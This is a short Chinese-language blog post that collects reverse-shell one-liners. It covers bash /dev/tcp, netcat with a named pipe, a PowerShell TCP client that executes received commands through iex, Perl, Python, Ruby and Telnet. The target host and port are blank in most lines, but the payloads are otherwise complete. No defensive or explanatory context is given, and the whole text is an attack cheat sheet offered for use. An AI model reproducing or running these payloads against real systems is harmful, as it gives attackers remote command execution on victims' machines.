反弹shell总结——编程语言实现

bash

bash -c 'exec bash -i &>/dev/tcp// <&1'

NC

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc   >/tmp/f

powershell

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('',);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

perl

perl -e 'use Socket;$i="$ENV{}";$p=$ENV{};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

python -c 'import sys,socket,os,pty;s=socket.socket()
  s.connect((os.getenv(""),int(os.getenv(""))))
  [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
  pty.spawn("/bin/sh")'

Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV[""],ENV[""]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Telnet

TF=$(mktemp -u);
  mkfifo $TF && telnet   0<$TF | /bin/sh 1>$TF
	

 

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注